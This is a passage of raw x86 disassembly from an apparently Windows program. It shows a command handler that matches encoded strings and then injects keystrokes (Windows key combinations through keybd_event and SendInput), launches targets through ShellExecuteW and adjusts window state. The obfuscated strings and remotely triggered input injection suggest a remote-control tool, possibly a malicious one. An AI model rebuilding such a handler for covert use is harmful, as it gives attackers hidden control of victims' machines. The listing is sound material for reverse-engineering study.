mov ecx, eax
call fcn.0044ef60
push 0x2c
push dword [ebp - 0x70]
call fcn.00544be1
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x5209ff
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5b8b10
call fcn.0042a1c0
lea ecx, [ebp - 0x2c]
call fcn.00440f90
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x520a46
test cx, cx
je 0x520a42
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x520a46
add eax, 4
add edi, 4
test cx, cx
jne 0x520a20
xor edi, edi
jmp 0x520a4b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520a66
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x520ad3
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.004298d0
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
mov ecx, esi
call fcn.00440f90
add esp, 0x18
mov ecx, edi
call fcn.0045b6a0
lea ecx, [ebp - 0xe4]
call fcn.0042aa10
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x5221f1
mov edx, dword [ebp - 0xb4]
inc ecx
jmp 0x52021a
mov edx, 0x5b4700
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x520b45
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520b10
sub ecx, dword [ebp - 0x2c]
je 0x520b45
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520b45
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520b30
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520b4c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520b80
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520b76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520c14
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520bc0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
mov esi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00522490
test al, al
je 0x51f8d5
mov byte [esi + 0x9c], 1
jmp 0x51f8d5
mov edx, 0x5b4718
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x520c65
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520c30
sub ecx, dword [ebp - 0x2c]
je 0x520c65
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520c65
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520c50
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520c6c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520ca0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520c96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52228b
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520eac
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520ce0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
mov edi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, edi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00522490
test al, al
je 0x51f8d5
mov byte [ebp - 4], 0x4e
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522335
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.004298d0
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 0x50
call fcn.004309a0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00431b80
lea ecx, [ebp - 0x2b0]
call fcn.00430920
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x60]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
lea ecx, [ebp - 0x2c]
call fcn.00440f90
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0041e190
mov edx, dword [ebp - 0x2c]
add esp, 0x24
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520e1d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x50
call fcn.0042aa10
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0051dbb0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x520e8b
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520e81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52228b
push ecx
push edx
call fcn.00544be1
add esp, 8
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f8d5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51f8d5
mov edx, 0x5b4760
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x520efc
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520ec7
sub ecx, dword [ebp - 0x2c]
je 0x520efc
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520efc
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520ee7
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520f03
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520f37
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520f2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52228b
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521076
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520f72
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522295
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522295
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00447260
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.005223b0
mov ecx, dword [eax]
test ecx, ecx
je 0x521026
mov eax, dword [ebp - 0x38]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042aa90
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045b6a0
jmp 0x521029
mov esi, dword [ebp - 0x34]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521043
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52105b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x5221f1
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x51f8eb
mov edx, 0x5b4910
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x5210c6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521091
sub ecx, dword [ebp - 0x2c]
je 0x5210c6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5210c6
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5210b1
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5210cd
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp dword [ebp - 0x20], 0
je 0x5211da
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521110
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
lea ecx, [ebp - 0x40]
push 0x588d1c
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5b
call fcn.0042b420
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5c
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x9c]
call fcn.00447680
add esp, 0xc
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x3c]
push dword [ebp - 0x20]
push eax
call fcn.00449170
add esp, 8
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x3c]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
mov eax, dword [ebp - 0x88]
cmp eax, 0x10
jb 0x5221f1
inc eax
push eax
push dword [ebp - 0x9c]
call fcn.0042b550
add esp, 8
jmp 0x5221f1
mov edx, 0x5b47d8
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x52122a
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5211f5
sub ecx, dword [ebp - 0x2c]
je 0x52122a
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52122a
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521215
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521231
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp dword [ebp - 0x20], 0
je 0x5213b6
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042a510
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x5d
push eax
call fcn.005223b0
lea ecx, [ebp - 0x34]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
call fcn.0041ca90
push str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x5e
call fcn.0042a440
sub esp, 0x18
mov byte [ebp - 4], 0x5f
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042a1c0
lea ecx, [ebp - 0x2c]
call fcn.00440f90
push esi
mov byte [ebp - 4], 0x60
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041e190
add esp, 0x24
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x2c]
call fcn.00406230
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x5212d2.5
movzx eax, byte [eax + 0x522368]
jmp dword [eax*4 + 0x522354]
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0x60]
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042a440
push 4
push ecx
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x60]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
mov ecx, esi
call fcn.00440f90
add esp, 0x18
mov ecx, edi
call fcn.0045b6a0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x5f
call fcn.0042aa10
jmp 0x521375
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406320
jmp 0x521375
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x521375
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x521375
test edi, edi
je 0x52139b
mov eax, dword [ebp - 0x38]
push dword [ebp - 0x48]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x34]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045b6a0
lea ecx, [ebp - 0x130]
call fcn.0042aa10
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x3c]
jmp 0x5221ec
mov edx, 0x5b48e0
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x521406
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5213d1
sub ecx, dword [ebp - 0x2c]
je 0x521406
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521406
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5213f1
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52140d
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp dword [ebp - 0x20], 0
je 0x52197d
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x62
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521450
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
lea ecx, [ebp - 0x60]
mov edx, 0x5b4a00
call fcn.00440e60
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52148a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00450fa0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp byte [ebp - 0x2d], 0
je 0x521582
push 0xa8
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.00546a90
add esp, 0xc
mov dword [ebp - 0x260], 1
mov eax, 0x5b
mov dword [ebp - 0x244], 1
mov word [ebp - 0x25c], ax
mov ecx, 0x10
mov word [ebp - 0x208], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x260]
mov word [ebp - 0x240], cx
push eax
push 6
mov dword [ebp - 0x228], 1
mov word [ebp - 0x224], dx
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x204], 2
mov dword [ebp - 0x1f0], 1
mov word [ebp - 0x1ec], cx
mov dword [ebp - 0x1e8], 2
mov dword [ebp - 0x1d4], 1
mov word [ebp - 0x1d0], dx
mov dword [ebp - 0x1cc], 2
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x521959
mov edx, 0x5b4a18
lea ecx, [ebp - 0x60]
call fcn.00440e60
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52159a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00450fa0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp byte [ebp - 0x2d], 0
je 0x5215e5
push 0
push 0
push 0x4490b0
call fcn.00550d8a
add esp, 0xc
jmp 0x521959
mov edx, 0x5b4a30
lea ecx, [ebp - 0x60]
call fcn.00440e60
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5215fd
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00450fa0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x60]
je 0x521773
mov edx, 0x5b49d0
call fcn.00440e60
mov byte [ebp - 4], 0x63
cmp dword [eax + 0x14], 0x10
jb 0x52164f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x38]
call fcn.0042a510
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x65
call fcn.00429760
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x521951
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042b420
push str.cF1gZ2xdbW5jbF1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x66
call fcn.0042b420
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x67
call fcn.0042b420
lea ecx, [ebp - 0x34]
call fcn.0041ca90
push esi
push ecx
mov byte [ebp - 4], 0x69
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004411f0
add esp, 4
mov byte [ebp - 4], 0x6a
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041e190
add esp, 0xc
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x2c]
call fcn.00406230
push 0x588d1c
lea ecx, [ebp - 0x44]
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6b
call fcn.0042b420
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.004411f0
mov edi, eax
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042aa90
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004411f0
add esp, 4
mov byte [ebp - 4], 0x6e
jmp 0x5218f9
mov edx, str.YV9qYQ
call fcn.00440e60
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x521788
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00450fa0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp byte [ebp - 0x2d], 0
je 0x521959
mov edx, str.YV9qYQ
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov byte [ebp - 4], 0x6f
cmp dword [eax + 0x14], 0x10
jb 0x5217da
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x38]
call fcn.0042a510
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x71
call fcn.00429760
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x521951
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042b420
push str.YV9qYV1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x72
call fcn.0042b420
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x73
call fcn.0042b420
lea ecx, [ebp - 0x34]
call fcn.0041ca90
push esi
push ecx
mov byte [ebp - 4], 0x75
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004411f0
add esp, 4
mov byte [ebp - 4], 0x76
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041e190
add esp, 0xc
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x2c]
call fcn.00406230
push 0x588d1c
lea ecx, [ebp - 0x44]
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x77
call fcn.0042b420
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.004411f0
mov edi, eax
mov byte [ebp - 4], 0x79
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042aa90
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004411f0
add esp, 4
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x44]
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x34]
push ecx
mov ecx, eax
call fcn.00452aa0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00406230
lea ecx, [ebp - 0x48]
call fcn.00406230
lea ecx, [ebp - 0x20]
call fcn.00406230
lea ecx, [ebp - 0x44]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x1c]
call fcn.00406230
lea ecx, [ebp - 0x3c]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
lea ecx, [ebp - 0x38]
call fcn.00406230
mov eax, dword [ebp - 0xb8]
cmp eax, 0x10
jb 0x5221f1
inc eax
push eax
push dword [ebp - 0xcc]
call fcn.0042b550
add esp, 8
jmp 0x5221f1
mov edx, 0x5b4928
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x5219cd
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521998
sub ecx, dword [ebp - 0x2c]
je 0x5219cd
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5219cd
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5219b8
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5219d4
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp dword [ebp - 0x20], 0
je 0x521adc
xorps xmm0, xmm0
mov dword [ebp - 0x150], 0
movups xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
mov ecx, edi
mov dword [ebp - 4], 0x7b
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521a17
sub ecx, edx
lea eax, [ebp - 0x160]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
call fcn.00549cbd
cmp dword [ebp - 0x14c], 0x10
lea esi, [ebp - 0x160]
mov edi, eax
lea eax, [ebp - 0x2c]
cmovae esi, dword [ebp - 0x160]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054b5ee
add esp, 0x14
mov edx, eax
cmp esi, dword [ebp - 0x2c]
je 0x52233f
cmp dword [edi], 0x22
je 0x522349
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x5c]
cmp dword [eax + 0x18], edx
je 0x521a91
test edx, edx
js 0x521a95
mov dword [eax + 0x18], edx
jmp 0x521aa2
test edx, edx
jns 0x521ab8
cmp dword [eax + 0x18], 0
je 0x521ab8
mov dword [eax + 0x18], 0
push 1
push 0
push 0
push dword [eax + 4]
mov dword [eax + 0xc], 1
call dword [sym.imp.USER32.dll_RedrawWindow]
mov eax, dword [ebp - 0x14c]
